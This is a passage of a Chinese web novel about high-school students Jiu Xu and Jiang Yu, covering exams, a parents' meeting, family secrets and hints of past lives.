“江遇过了初赛,肯定都高兴啊,周霁却不一样,他都第三次了,前两次都没去,都说他是逃兵。”
她也很奇怪啊,一次是不小心,那换成两次呢?
可以再一再二,但不可以再三。
久许想到再三,结合逃兵二字,下意识反驳说:“没去肯定有事,不是故意不去。”
这话一说出口,她自己都愣了,莫名心里一滞。
太过平静的人,要流很多眼泪。
荀子说人本恶,生而有好利焉,教化才能向善。
她不是坏人吗?
舆论真假参半,最能压倒脊梁。
……
因着是大课间,刚好没有跑操,时间还算富裕。
周霁趴在桌上,靠窗处第一排,任由阳光覆身,听着那些碎语,似乎是睡着了,既冷静更沉稳。
久许收回视线,不再看周霁了。
青春期的少年,自我意识增强,有强烈自尊心,最为敏感浮躁,内心脆弱不堪,难经冷嘲热讽。
“这就不知道了。”
林浣回忆过往,想到了些缘由,补充说:“不过小道消息,我那朋友瑶瑶,她亲口跟我说,周霁不去考试,是因为他家人。”
“瑶瑶认识周霁,这消息保真的。”
久许不太理解,轻声说:“家人又怎么了,老师不管管吗?”
林浣沉默片刻,解释说:“周霁这人太冷,整天独来独往,时不时还逃学,上课不认真听。”
“老班最初重视,经常找他谈话。”
“可是到了后来,不知道为什么,老班也由着他,可能管不了吧。”
老班真不管了?
她看着不太像,倒像怜惜周霁
久许没再说话,垂眼看着课本,刚好是文言文,贾谊的过秦论。
后人看待嬴政,当称毁誉参半。
有人说:“始皇出巡,霸王避让,高祖窥视,祖龙不死,无人敢反,群龙不生。”
可是他的人生,死后秘不发丧,像本烂尾小说,结局充满讽刺。
久许却只觉得,若想铸就伟业,莫不血流成河。
现在有流血吗?
怎么没流血呢?
鲎的蓝色血液,成了鲎会无期。
*
这两天是月考。
选择参加复试,就要耽误月考。
学校一个年级,二十来个班级,也不可能推迟。
久许是新来的,学号最后一个,就在五班考试。班里面除了她,还有两个学生,也是七班学生,就是她不熟悉。
考试要考4科。
语文,数学,英语,理综。
考试休息期间。
久许有些意外,碰上了沈若清。
两人打了招呼,没再说些别的,很礼貌很疏离。
而在另外一边,复试也在进行。
学校来的学生,倒算不上太少,他们班就两个。
到了地方以后,闲来无事之际,江遇找到周霁,两人聊起了天,毕竟一个班的,多少是熟悉些。
对周霁的传闻,江遇早知道了。
前两次没参加复试,的确是因为他家人。
一次是他爷爷摔跤,挺严重急着去医院,他只能跟学校请假;一次是妹妹发高烧,打针吃药没什么用,他请假带妹妹看病。
如今这第三次,那努力过的人,运气不会太差。
两人考场不同,至此就分开了。
考试时间三个小时。
说长也长,说短也短。
名次出来挺快。
周霁拿了第一,江遇是第二名,蒋清屿也第二。
江遇?
周霁?
蒋清屿看到后,脑海快速搜索。
江遇倒很熟悉,跟沈家有关系,他很喜欢久许,把久许拐走了。
那周霁是谁呢?
这次考试之前,跟透明人一样,却又有些熟悉。
两人算是故识,意外般碰了面。
蒋清屿没说话,上下打量江遇,思索起了什么。
江遇觉得奇怪,冷声说:“怎么,你有话说?”
怎么?
你有话说?
蒋清屿听这话,莫名愣在原地,脑海浮现画面,很模糊的片段。
…
少女古人装扮,端正坐在桌前,乌发垂落腰际,身形很是瘦弱,藏着哀愁沧桑,红衣却显清冷,似乎在找什么,依旧翻着书籍,回声并未回头。
“阿蒋,你有话说?”
“幽幽。”
男人声音低哑,靠在卧室门上,空有西装革履,尽显孤寂破碎。
少女手上一顿,书本自然合上,呆滞愣在原地。
男人沉默片刻,不觉哀叹了声,艰涩道:“你把我当什么,想喜欢就喜欢?”
…
怎么是幽幽呢?
脸却看不清楚。
蒋清屿回过神,看到江遇以后,熟悉感更强了,淡淡说:“我就是想问问,你知道幽幽吗?”
“好像有些印象。”
江遇微微皱眉,莫名心间泛痛,下意识补充说:“不过,想不起来。”
他好像很熟悉,但却无处寻迹,这感觉很奇怪。
蒋清屿轻声说:“这就够了。”
不是曲径通幽,该是吊古寻幽。
“你很奇怪,那久久呢。”
江遇停顿了下,随意说:“你正在找幽幽,这是为什么呢?”
蒋清屿不意外,打量江遇神情,缓缓说:“你都说了久久,至于那个婚约,不说是口头上,哪怕真要履行,我并不是承誉,她就是久许吗?”
江遇:“什么意思?”
是就是?是久许?
还是不是……
蒋清屿随意说:“对这事感兴趣?”
明明是疑问句,却像极了陈述,仿佛尽在掌握。
江遇斟酌几秒,回复说:“你说得不太对,我对人感兴趣。”
“她是久久。”
蒋清屿顿了顿,补充说:“不是久许。”
言语意思模糊,话也没说清楚。
江遇思索片刻,淡淡说:“你看着很温柔,骨子里透着冷,似乎没有真心,就像毒蛇一样。”
周霁恰好过来,看见两人这般,无奈说:“老师开始催了,你俩去不去啊。”
*
竞赛很快结束,
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学生回了学校。
月考已经结束,成绩单还没出,老师们动作快,已经在讲试卷。
江遇周霁两人,到班级的时候,刚上课几分钟。
这节是语文课,刚好讲文言文,在翻译过程中,涉及真假之别,提到了龚自珍,说到己亥杂诗。
“科以人重科益重,人以科传人可知。”
老师刚说完这句话,就听到了有报告声,看了眼是他们两个,点头示意他们进来,随即拿试卷继续说。
“虽然是理科生,但是总归得学,现在往下边看,这文言文材料,班里同学挺多,有人主动读吗?”
等几分钟下来,见没有人主动。
她拿出名单来,看着所有名字,这个名字陌生,轻声喊:“久许。”
久许听见起立,拿试卷开始读。
“二鸽喻。
昔有雄雌二鸽,共同一巢。秋果熟时,取果满巢。于其……”
老师点头示意,久许坐了下来。
她缓缓说:“这篇文章不难,我判的这道题,得分情况不错,都能写到点上。虽说眼见为实,可是有些时候,眼睛也会骗人,所以面对事情,应该怎么做呢?”
“明是非。”
“不冲动。”
“认清事物内在变化。”
“不能颠倒是非。”
“……”
……
老师得了回复,便留了些时间,让学生做笔记,顺便整理试卷。
她在班里走动,看都整理完了,便往下讲作文,材料是文言文,跟这块有联系,就放一起讲了。
“作文立意要准,绝对不能偏题,材料是文言文,是龚自珍的话。”
“灭人之国,必先去其史;隳人……”
“我们学到现在,常见的文言文,咱们翻译起来,不能再有障碍,但这次挺奇怪,跑题的还不少。”
“立意就六个字,提防文化入侵,同学们要……”
*
过去三个星期,迎来期中考试。
跟月考一样的流程,周一周二两天结束,周三周四判试卷、讲试卷、登成绩、打印成绩单,周五下午开家长会。
这周时间挺紧,时刻争分夺秒。
班主任说,考试出了成绩,按成绩排座位。
成绩出来很快,在周四的上午,成绩单出来了。
这次数学成绩,周霁考了满分,是年级第一名,唯一可惜的是,他总分不算高,偏科有些厉害。
久许总分521分,语文126分,数学119分,英语103分,理综173分,班里第一名。
江遇总分520分,语文114分,数学116分,英语116分,理综174分,班级第二名。
时渡属于正常发挥,语文112分,数学120分,英语115分,理综172分,总分519分。
楚夜考的还行,总分513分,班级第四名。
林浣考了506分,班级第七名。
……
下午最后一节,刚好是英语课。
刘风吟讲完题,就开始排座位,成绩由高到低,自己选坐哪里,等全都选完了,就开始换位置。
久许斟酌片刻,想离老师近些,选中间第一排,还最中间位置,有问题随时问,算是个好位置。
林浣也第一排,坐在久许左边。
久许右边同学,名字叫做苏婳,班级的第六名。
苏婳人挺安静,举止端庄大方,之前学得文科,高二才转理科,现在学习起来,没什么不适应。
江遇斟酌几秒,选了久许后边。
他身高一八二,坐中间第二排,未免有些显眼,挡别人看黑板,为了不耽误人,把凳子放倒坐。
时渡没换位置,就在江遇旁边。
楚夜跟着江遇,两人还是同桌。
换完位置以后,久许看成绩单,自己分析成绩。
三大主科里面,语文数学还好。
英语确实偏科,二卷分数还行,一卷选择差些。
理综还算可以,满分是三百分,物理考得最差,公式背了不少,题也练了不少,却只会选择题。
8. 我们久儿
【08】我们久儿/
“哥哥心系于我,我亦心系哥哥。”
很快周五下午,要开家长会了。
时渡特意提醒:今天没有午休,住宿生早些来,走读生也早些。
学生们吃过饭,用午休这时间,整理好了教室。
原先的安排是,桌子拆成单桌,家长来教室了,坐在学生位置,学生在开会时,站在家长旁边。
后来突然又改,桌子就不拆了,学生站在后边。
成绩单出来时,就时渡有两份。
剩下的成绩单,中午才发下去,在学生们桌上,给家长们留的。
久许昨晚回家,就和父母说了,但是父母都忙,实在抽不开身,没法过来开会,只能就此作罢。
她有问过江遇,他说他也一样。
现在不过两点,家长会没开始,四处热闹得很。
有的学生在和家长聊天,有的学生溜着玩没回来,有的学生正在彼此交谈。
久许在楼道里,正好趴窗台上,看看外边的人,打发打发时间,用不着接家长,没什么事可做。
江遇本来没事,但他舅舅来了,就去校门口接。
不过意外的是,半路就碰上了。
“舅舅。”
江遇不情不愿,烦字写脸上了。
他昨晚都说了,就一个家长会,没有什么大事,不用跑这一趟。
“阿遇。”
陆北辰跟着走,顺便说:“你说你现在啊,这么长时间了,跑这边来上学,家里也不管了。”
“最近你倒还好,想起弟弟来了,能跟无疾联系,时不时打电话,可家长会这事,跟藏宝贝一样,话都不带说的,生怕被人知道,都不想着舅舅。”
“你妗妗知道了,老念叨着你呢,让你多住几天,给你好好补补,这么大小伙子,光长个不长肉。”
“我心里还有数。”江遇出声回复,随即换了话题,平静说:“工作不忙了吗?”
“跟个刺猬似的。”
陆北辰顿了顿,补充说:“我这不是、”
“我就坐在这里。”江遇送到教室,已经进了前门,指下自己座位,随后说:“舅舅呆着就行,铃响了就开始,我先去后边了。”
陆北辰:“等下回家吃饭,你弟弟也在呢。”
“好的,舅舅。”
江遇回完这话,直接去后边了。
*
楚夜父亲来了,跟陆北辰碰上,两人又是故识,自然聊了起来。
楚策率先开口:“北辰,现在不太忙了?等下学校放学,去家里吃个饭。”
两人倒是相像,都是先提吃饭。
陆北辰听这话,回复说:“老楚,家里还有些事,放学就得回去,就不去家里了,我这次来这边,准备带上阿遇,无疾挺想他的,总惦着见哥哥,但身子没好全,自己还来不了。”
“仔细一想也是,都要下元节了。”
楚策思索片刻,补充说:“按你说的来吧,阿遇这次回去,在家多呆几天,有阵子没回了。”
陆北辰缓过神,语调低沉了些,无奈说:“回去了再定吧,阿遇他的性子,你不是不知道,认定就改不了。”
“最早过完生日,晚些就是高考。”
楚策怔愣起来,想要说些什么,却都止于口中。
陆北辰:“光说他做什么,你家那小子呢?”
楚策:“他皮实得很呢。”
就跟猴子似的。
而在教室后边,江遇久许二人,也在说着什么。
“是我舅舅。”
“嗯。”
“他来带我回家。”
“好。”
“久久,我回家这一趟,得有几天回来。”
“行。”
没有追问。
没有回复。
没有质疑。
三问三答三字,有些话没出口,便已有了答案。
*
家长会开始了,没花太长时间,也就一个小时。
主要给学生家长鼓气,又说起家校携手一心,督促家长监督好学生,说学校也会使劲之类。
大家听到后边,有些心不在焉,都想快些结束。
刘风吟很平静,借着投影文件,分析学生成绩,讲技巧给方向,表扬进步学生,鼓励所有学生。
还给了六个字:“教育、成长、共育。”
刘风吟最后又嘱咐:家长带好随身物品,学生认真完成作业。
至此进入尾声,家长会结束了。
久许没去座位,准备继续等会,省得人太拥挤。
江遇陪着她等,直到舅舅出去。
“久久,我得走了。”
久许点了点头,轻声说:“早些回来。”
江遇应了一声,从后门出去了。
久许看人少了,去座位拿东西,拿上了成绩单,背书包准备走,可是还没动身,听见一道男声。
“你这孩子,这么磨蹭,都没人了。”
楚夜:“这什么意思啊?怎么就没人了?”
他才不承认呢?
除了楚夜声音,这男声也熟悉,她听了不舒服。
久许实在好奇,不觉偏过头来,寻着那道男声,怯生生看过去,只看见了侧脸,竟然心里一滞。
她身形颤了下,成绩单掉地上,没捡就离开了。
“久许,你成绩单掉地上了。”
楚夜说着这话,久许却没回头。
他想她没听见,俯身捡成绩单,放到她桌兜里,这才离开教室。
父子俩出教室,走在楼道里面,没有看见久许。
楚策好奇起来,低声问:“你跟爸爸说说,刚刚有喊久许,那校服小姑娘,你俩在谈恋爱?多久、”
“老爸,你胡说什么呢,怎么说这个啊!”
“爸爸哪里胡说,小姑娘那模样,跟你妈妈挺像,见着对方长辈,生怕会被拆散,一下子就溜了。”
“别乱点鸳鸯谱,江遇喜欢人家。”
楚夜很是吃惊,补充说:“你儿子不一样,没做盖世大侠,都是红粉骷髅,才不考虑这些。”
“还盖世大侠呢?小时候就算了,现在刀啊剑啊,一点样子没有。”
楚策语调随意,隐隐有压迫感。
楚夜理直气壮,反驳说:“我哪里不成样子?怎么不比你好啊?你看你就会画画,江遇还天天绣花。就因为一个女子,我才不要这样呢!”
“古人都说,美人怀抱,英雄坟墓。”
“美人膝天下权,什么怀抱坟墓。”
楚策叹了口气,无奈说:“再说了,什么画画,那是图纸,小孩一个。”
就这宝贝疙瘩,他还能怎么办?
“我不要管,我不要管。”楚夜严肃起来,放大招:“你要是再说我,我就告诉我妈,我妈最疼我了。”
哼!
我看你怕不怕。
楚策懒得理他,改口问:“久许那孩子怎么样?”
他总有种错觉,久许很是怕他,刻进骨肉的怕。
楚夜恍然大悟,仔细斟酌片刻,不解说:“你怕不是来拆散有情人的吧。”
这个解析对了。
老爸就是这样,整天神经兮兮,心里好多算计。
“你真是我的好儿子。”
楚策快步走了,他问久许的事,纯粹就是好奇,可儿子倒脑补。
楚夜不明所以,怔愣了好几秒,还是快步跟上。
*
久许回家以后,晚饭没怎么吃。
她说没有胃口,然后找个借口,直接回了卧室。
君悦都要睡了,回想女儿异常。
她中午去学校,人还活泼开朗,家长会回来后,看着过于安静,话也不怎么说,早早就休息了。
久妄洗澡回来,刚坐到了床上。
君悦放心不下,低声说:“我觉得许许不对劲。”
听到妻子的话,久妄看了眼表,都要十点钟了。
“时间也不早了,你就安心睡觉,不用担心许许。”他轻拍她后背,温声说:“不是有我在吗?”
君悦摇了摇头,挣开他的怀抱,只自顾自说着。
“你总是这样说,那时候就这样,可结果怎样呢?结果是什么呢?没护士说漏嘴,你想瞒我多久?”
“那晚下着大雨,电闪雷鸣不断,医院冷森森的,大人都会害怕。”
“我的许许,小小一个,没人陪着。”
“哭也不哭,闹也不闹。”
“为人丈夫,为人父亲,哪有这样……”
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>她说着说着话,眼眶莫名泛红,不觉掉了眼泪。
“悦儿,这次真不会了。”
久妄凑了过来,握着她的左手,见她没有反应,自然单膝下跪,正好跟她平视,柔声说:“你不相信别人,还不相信我吗?”
君悦张了张口,想要说些什么,不知从何说起。
久妄耐心安抚:“那般错全在我,是我来得太晚,跟悦儿没关系。”
“跪天跪地跪父母,你怎么还跪上了。”
君悦猛然心疼,下意识扶起他,看着眼前的人,无奈说:“我若是真的怪你,就没有这十几年,我只是心疼许许。一次我没有护住,不能再来一次了。”
“你是不相信我。”久妄停顿了下,无奈说:“还是不相信你?”
君悦心起波澜,思及过往种种,淡淡说:“我不信她自己。”
久妄心里不解,却也没再追问。
……
到了久许这边。
卧室没有开灯,人是躺在床上,却并没有睡着。
久许莫名心慌,甚至胸口骤疼。
她回想着下午,从只言片语里,找到了些信息。
男人叫做楚策。
是楚夜的父亲。
楚策这个男人,哪怕是上一世,也只听过名字,没有太多交集,更别说认识了,当真奇怪得很。
她总莫名觉得——
身形熟悉,语气熟悉,举止熟悉,还有侧颜……
她只听他声音,不自觉地想逃,下意识地想跑。
久许隐约记得,上一世医院里,似乎也有个人,是她主治医生,记不太清脸了,却觉得是楚策。
这想法才出来,她就开始恐惧,甚至开始害怕。
久许意识清醒,并不认识楚策。
在教室后边时,她和楚夜聊天,问楚策的职业,楚夜说建筑师。
她记忆错了吗?
她家人骗她吗?
她不该相信吗?
不对,她相信哥哥的,哥哥对她很好。
一旦有了念头,就停不下来了,根本不好解脱,甚至难以摆脱。
久许意识到了,起来找药找水。
她心里很着急,行事慌慌张张,灯都顾不上开,在走路的时候,没有看到凳子,就磕到了右腿,却像没感觉到,直接拐了过去,翻找抽屉的药。
也就几个药片。
直接吞了下去。
月光洒落地面,冷风透窗而入。
久许缓过心神,回到床上躺下,闭眼准备睡觉。
可她刚闭上眼,就突然想起来,回家这么久了,没回江遇消息,侧身打开平板,给他发了消息。
【晚安。】
消息发了过去,迟迟没有回复。
久许有些失落,开始胡思乱想,不觉情绪低落。
江遇对待久许,只是一时上头,等新鲜感耗尽,再无情意可言,他就会抛下你,开启新的恋爱。
或许…
她读懂了…
久许很快回神,垂眼看向手腕,那之前的疤痕,已经不明显了。
家人时常会说:“还好在胳膊上,没有什么事情。”
江遇却不一样,说女孩子娇气。
她该相信他吗?
她该相信他吧。
药效缓缓起来,睡意悄然袭来,思绪混乱不堪。
久许做了个梦,梦里像要出嫁。
…
房间古朴精致,少女身穿嫁衣,正在对镜梳妆。
生得明眸皓齿,唇瓣不染而赤,肌肤白皙无瑕;身姿如花似柳,满眼秋波不断,清纯不失妩媚;宛如带刺玫瑰,尽显倾城之姿,令人心醉神迷。
男子黑金锦袍,耐心为她盘发,温声道:“我们久儿真美,哥哥没看够呢,就该要嫁人了。”
“我要姐姐幸福。”
温润少年凑近,身着张扬红衣,衬其妖冶至极,却低声哽咽道:“姐姐不嫁的话,我去挣好多钱,养姐姐一辈子。”
“哥哥心系于我,我亦心系哥哥。”
少女说完这话,眼泪流了出来,打花脸上妆容,涩声道:“遂遂说什么呢,他哪敢辜负我。”
你问心无愧吗?
我不骗小姑娘。
镜花水月惑人,应是当局者迷。
9.平安无疾
【09】平安无疾/
“名字寓意太好,就会变成诅咒。”
京市陆家老宅。
江遇坐电脑前,上网搜索信息,想着查查幽幽。
他手机没电了,放在一旁充电,还设置了震动,没消息提示音。
久许发的消息,不巧就错过了。
江遇浏览网页,眼睛没有移开,思绪却已飘远。
蒋清屿那天说的话,他还是没完全放下,尤其是幽幽这个人,他潜意识也有印象。
“她是久久,不是久许。”
他那时说的话,依旧萦绕耳旁。
江遇在前两年,私下查过久许,费了好大的劲,找了不少关系,得些零散消息,其中真假参半。
消息拼凑起来,指向一个答案,久许身份存疑。
君悦生子之时,险些一尸两命,孩子没救过来,夫妻俩很心痛,由于念女心切,并未领养孩子。
可就在零六年,六月初六那天,女儿突然回来。
五六岁的样貌,像是凭空出现。
死去的人复生,可怕又不可怕,只是可怕的是,他们都适应了,家里多个孩子,没有人怀疑过。
甚至,似乎所有的人,都没怀疑久许。
陆无疾走过来,抬手敲两下门,出声问:“哥哥,你还好吗?”
声音有些低弱,小心翼翼询问。
江遇听了回神,连忙关了网站,退回初始界面,不再看电脑了。
陆无疾很礼貌,在门口没进来。
江遇看他这般,招呼他坐下来,轻声回:“还好。”
“家里没变,还是这样。”陆无疾缓了缓,继续说:“哥哥,那药有效果吗?”
沈家新研发的,应当没有问题。
“你这里的东西,自然都是好的。”江遇说着这话,打量起陆无疾,无奈说:“你清瘦了不少,身体没见好吗?”
衣服略显宽松,衬得人格外瘦。
屋里灯光不差。
陈设一如当年。
陆无疾脸很白,没有丝毫红晕,显得唇色的红。
“我还是老样子,没有什么大事。”
停顿了下,他继续说:“我快十八岁了,陆氏那些琐事,还是得靠哥哥。”
“舅舅就那脾气,多少也是长辈,刀子嘴豆腐心,哥哥别太在乎,真跟他吵上架,倒是自己受罪。”
“如果闲来有空,希望哥哥出手,帮衬沈家一把,虽然没有血缘,我这残破身子,承他们不少情。”
“还有清儿,她年纪小,不太懂事,怪黏人的,若是冒失,哥哥、”
“无疾,你这是托孤么。”
江遇沉声打断,反驳说:“你是身体孱弱,不是死疾难医,没有人放弃你,你却打退堂鼓?”
“没有,哥哥。”
陆无疾摇摇头,哽咽解释起来:“十月十五,就像诅咒,死局无解,我就是怕,断桥已断,怎么逃呢。”
江家代代双生,可二者只存一,要死去的那个,活不过十八岁。
凡事总有定数,总要顺天而为。
江遇沉默片刻,轻声说:“爸妈都看着呢,他们会庇佑你,平安无疾几字,这不就是证明?哪怕冰天雪地,哥哥都能活着,无疾就在家里,怎么活不过呢?”
陆无疾听这些,心里莫名一紧。
眼前好似那时。
…
自己着寒病重,身子衰弱得很,躺着活像等死。
没过多长时间,哥哥凭空出现。
他明明才八岁,不比自己多大,却像大人一样,半蹲在床榻前,给他换湿毛巾,语调温和得很。
“弟弟,别怕。”
“我把坏人都赶跑了。”
“有哥哥在这里,没有人欺负你。”
“爷爷有跟我说,平安符很灵验,过来这里之前,我去了封龙寺,寺里没有开门,没求上平安符,下次哥哥再去,求上一堆给你。”
“小无疾听话奥,要快快长大哦。”
“你会长命百岁,要是活不够了,哥哥想想办法,给你补到百岁。”
“……”
…
“无疾,别怕。”
江遇看他愣神,以为他在害怕,温声说:“你还是个孩子,真有什么大事,还有哥哥顶着。”
佛说两般世界,自然各有千秋。
思索至此,他补充说:“就算真得要死,也在哥哥后边。”
陆无疾听完后,眼眶莫名泛红,像是受了委屈。
他心里好多话,不知道怎么说。
最后就一个字:“哥。”
“这么大了,还哭鼻子。”江遇给他递纸,无奈说:“都十点了,快些回去,闭目养神,早睡早起。”
陆无疾缓过神,把情绪收起来,跟江遇说晚安,就起身离开了。
江遇不怎么困,坐回了电脑旁。
他看着那屏幕,仿佛窥到命运,莫名陷入沉思。
江家这俩孩子,明明是双生子,只有样貌相像,性格全然不像,待遇命运不同,像被诅咒一样。
陆无疾说的话,他不是听不懂。
他想到了这里,莫名生出感触,喃喃说:“名字寓意太好,就会变成诅咒。”
江遇淡淡笑了。
他护得住无疾。
有什么可担心的呢。
手机屏幕亮了,似是广告推送。
江遇很快回神,拿起看了一眼,有久许的消息,立刻解锁屏幕,点进聊天界面,编辑消息回复。
【晚安,好梦。】
*
陆无疾回卧室,并没上床休息,在床边坐下后,拉开床头抽屉,把符纸倒床上,翻来覆去寻找。
有很多平安符,却没哥哥送的,都是自己画的。
他本来还以为,得有哥哥送的,可事实怎样呢?
哥哥没来及送,他自然找不到。
陆无疾抬起眼,看向桌上合照,跟哥哥的合照,两个孩子相像,大约六岁模样,那才是他哥哥。
他和江遇不像。
非要说像,是侧颜像。
他怎么认不出?
只那一眼,他就知道。
他也动过念头,不是没有闹过,都不了了之了。
爷爷认定这个孩子,不管谁说的都不听,非要带到身边养着,还改了哥哥的名字,仿佛哥哥没存在过。
他对哥哥寄予厚望,没用妈妈取的平安,非说名字寓意不好,翻了好长时间典籍,才选好了新的名字。
改名为江知遇,寓意知君难遇。
舅舅那时也说:“感情可以培养,小无疾听话些,以后的日子里,江遇是你哥哥。”
他年纪还太小,什么都做不了,只能暗自心想:“他成了一个人。”
今晚月光很好,透过窗户进来,屋里明亮不少。
陆无疾愣了神,看着自己影子。
他竟想起幼时。
关于父亲母亲,他的记忆里面,就只有八个字。
——母亲去世,父亲殉情。
如果再细致些,就是舅舅说的,他现在还记得。
…
母亲生产出了意外,父亲下跪求着医生,医生只说尽力而为,最后还是无济于事。
医生尽了全力,没能救下母亲,险些一尸三命。
哥哥哭得厉害。
他哭声却很低。
“化溟,自己孩子,都不看看?”
母亲她身体都没顾,紧紧牵着父亲的手,一同描摹孩子的脸,认真到像是在告别。
“还没取名字呢,你说叫什么好……”
父亲没有回话,只是紧紧抱她,生怕她会消失。
“你不说话,我就取了。”
母亲没有生气,声音却弱了些:“这二十几年来,你过得很不好,我陪不了你了,孩子们不一样。”
她跟他的孩子。
眉眼很像他呢。
“可以的话,平平安安,无痛无疾,哥哥活泼,就叫平安,弟弟安静,叫…叫…无疾吧…”
在母亲去世后,父亲多活三年,就去找母亲了。
…
陆无疾忆至此,很快收回思绪,垂眼看向地面,有很多平安符。
“平安无疾四字,当真一语成谶,哪怕没有血缘,如今是我哥哥,这点无论如何,不会再更改了。”
他所厌恶的不是江遇,是江知遇的突然消失,更是江遇的恰巧顶
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替。
*
开完家长会后,久许病了一场,又住进了医院。
君悦给她请假。
她算是乖学生,又是生病请假,刘风吟同意了。
久许不想请假,不是什么大病,就是思绪很乱,想想就老头疼,吃止疼药没用,看书看不进去。
对了,还经常会做梦,梦里光怪陆离。
可是,她睡醒了,却没印象。
……
在医院诊室里。
久许乖乖坐着,医生给她复查。
她看着眼前人,莫名想起楚策,突然得到答案,觉得楚策熟悉,估计因为医生,学过心理的人,说话都蛊蛊的。
楚策是医生吗?给她看过病吗?
她可能想多了。
……
住院的这几天,久许在病房里。
久执挺挂念她,经常打来电话,问她身体情况,问她开不开心,要她好好吃饭,还问生病原因。
他还说起江遇,说江遇不细心,没有照顾好她,就知道说空话。
久许认真解释,往自己身上揽,怕他牵连江遇。
再有就是这些——
她这突然生病,跟江遇没关系;听哥哥说江遇,她还有些心疼。
久执一肚子气,他的宝贝妹妹,在给江遇说话?
他顿时晃了神,感觉天要塌了,只想时光倒流,不让妹妹转学,托蒋清屿照顾,最起码不被拐。
江遇这混账呢?
监守自盗!
“就是他有些蛊,活像个男妖精。”
久许的话涌入脑海。
久执想到某个可能,是江遇太花言巧语,可是久许却坚持说,这跟江遇没有关系。
……
医生观察几天,确认久许没事,就让她回家了。
久许自然很是开心。
医院气氛压抑,就跟囚笼一样,甚至有些恐怖,呆久了很难受,呼吸都困难了,像要死掉一样。
到了高三学业为主,除去月考这类考试,大多老师还会周测,查漏补缺复习巩固。
提前适应考试氛围,避免考前紧张误事。
久许耽误一周课,回来上了几天课,江遇却还没回来,私底下发过消息,倒是不怎么担心,心里却胡思乱想,习惯江遇在身边,这么突然不在了,心里就空落落的。
她隐约还记得,上一世的江遇,好像就这时候,没有再来上学,到了明年六月,直接参加高考。
成绩还没出来,江遇就出了国,再回来的时候,就接管家业了。
久许有种直觉,江遇这段时间,有什么事瞒她。
她有问过楚夜,楚夜支支吾吾,似乎知道什么,却没有跟她说。
她想过问江遇,又担心太唐突,涉及隐私问题,想说自然会说,主动询问别人,好像不太礼貌。
……
到了晚上,吃过晚饭。
久妄一家三口,在客厅里坐着,一起看电视剧。
“我这儿被围,我让他增援他不来,现在管我要假齐王。”
电视剧的声音传来,正在播《楚汉传奇》,是刘邦说的一句话。
这句话气势有点强。
久许听到以后,不禁被吸引了,打量这个演员,确实像汉高祖。
张良察觉不对,连忙提醒刘邦。
刘邦圆回话题:“要什么假齐王啊,韩信,是个大功臣,给我也得给他个真王。”
“集满王侯将相,倒算是大功臣。”
久许联想后续,顿时心生困惑,不解说:“见天不死,见地不死,见兵器不死,三不死五不杀,被诱于长乐宫,死于女子之手,这般悲剧之死,还算大功臣吗?”
久妄回想历史,面对功臣二字,很快有了答案。
“有人能出问题,就有人解问题,韩信请封齐王,就注定了结局。若非刘姓子孙,自是不可为王,刘邦违心册封,韩信接旨愣神,宦官这才追问,‘将军,为何还不听封?’,话语早露杀意,暗指听封即死。”
“成也萧何,败也萧何。”
君悦言至此处,无奈说:“太信任贵人了……”
历史车轮向前,兵仙就此落幕,或许都是定数。
10.阿遇哥哥
【10】阿遇哥哥/
“我哥哥跟我说,眼泪最干净了。”
十二月份,下了大雪,气温骤降。
天气预报很准。
昨晚开始下的,过了这一晚上,大地悄然清白,明显有了积雪。
现在白天还好,飘着零星小雪。
今天才刚周三,要去学校上学,下雪交通不便。
在班级群聊里,刘风吟发消息。
【走读学生注意:路上注意安全,允许晚些到校。】
吃过早饭以后,久许穿得厚实,戴帽子围围巾,保暖得很到位。
因着雪势不大,公交没有停运。
下雪天路难走,久许提前出门,上学没有迟到。
她进学校大门,看到不少风景。
外面学生很多,戴手套围围巾,追跑着打雪仗。当然,有学生滚雪球,大概要堆雪人。
久许走完楼梯,拍了身上的雪。
她刚进了大厅,准备拐进楼道,耳边传来声音:“早啊,久久。”
声音温柔慵懒。
很明显是熟人。
久许猛地愣神,不觉身形微颤,她怔怔地抬头,就看见了江遇。
他站在她旁边,似笑非笑看她。
她却看得清楚,他的眉眼之间,带了些许憔悴。甚至,身上的雪没拍。
昨天他还没来,今天就回来了,当真巧合得很。
久许很是诧异,低声说:“你回来多久了?怎么不跟我说?”
“我昨晚到了家,就给你发消息。”江遇解释过后,无奈说:“我等了你好久,不见你回消息。”
“几点给我发的?”
久许不太相信,认真回忆昨晚,补充说:“我在家睡得早,九点多就睡了。”
非必要情况下,她一般不熬夜。
“我也不记得了。”
江遇真不记得,回来光顾着发,没看具体时间,这么回想起来,他最后看手机,大概是十二点。
久许:“算了,算了,回教室了。”
江遇没再说话,边走路边拍雪,跟久许去教室。
*
上午过得很快。
中午放学以后,久许收拾东西,往书包里面放。
江遇等着久许,两人一起回家。
中午出太阳了。
雪不怎么下了。
楚夜昨天还来,今天竟然没来。
久许有些好奇,不禁说:“楚夜他今天没来啊。”
江遇走快了些,跟久许并排走,委屈说:“久久,你都没怎么问我,我还在这没走呢,你就问别的男人。”
久许眉头一皱,不想理会他了。
这都是什么话?
我还在这?别的男人?
此刻正好下了楼梯。
久许没等江遇,快步往校外走。
江遇快步跟着,两人出了校门。
久许走得不慢,可江遇步子大,几步就追上了。
“江遇,你再这样,我生气了。”
“久久别生气了,你说的我都听。”
江遇赶紧示弱,步子慢了不少,补充说:“就是你说起他,我心里不舒服,没把握住分寸,话说得太重了。”
久许听了猛地回头,刚好撞到江遇左肩,随着惯性人往后倒。
江遇垂在身侧的手,下意识搂住了久许。
两人这般姿态,同时身子一僵。
可能是穿得有些厚,再加上阳光很温暖,身上都似乎冒了汗。
“江遇。”
久许慌乱挣开,不小心磕疼了,气息都闷闷的:“怎么这样。”
江遇愣在原地,动也不敢动了。
他纠结好半天,大脑都不运转,就说这几个字。
“我…我不是…”
他脑子有些乱。
不,是很乱。
小姑娘红了眼,他干什么了吗?
久许摸着额头,抬起头看着他,喃喃说:“你还愣着,磕疼我了。”
明明是大冬天,都穿着厚衣服,这还能磕到她?
不对,是磕他下巴了。
她开始犯怂了。
“哪里疼了,手拿开些,我就看看。”
江遇看着久许,她支支吾吾的,依旧捂着额头,轻声说:“久久乖啊,不老捂着,别严重了。”
久许视线躲闪,脸不自觉红了,转头往前跑了,嘴里嘟嘟囔囔。
“不疼…”
“不疼…”
“你不要再问了。”
空气静止下来。
久许说出的话,让人听不清楚。
江遇还在原地,看久许跑老远,有些不知所措。
他做什么了吗?
他好像没有吧。
公交刚好驶来,过个路口就到。
久许突然回头,笑着说:“阿遇哥哥,早点回家。”
怕江遇听不清,特地加大声音。
江遇一时语塞,不知道说什么,话却自己出来,也加大了声音。
“我知道了,久久也是。”
*
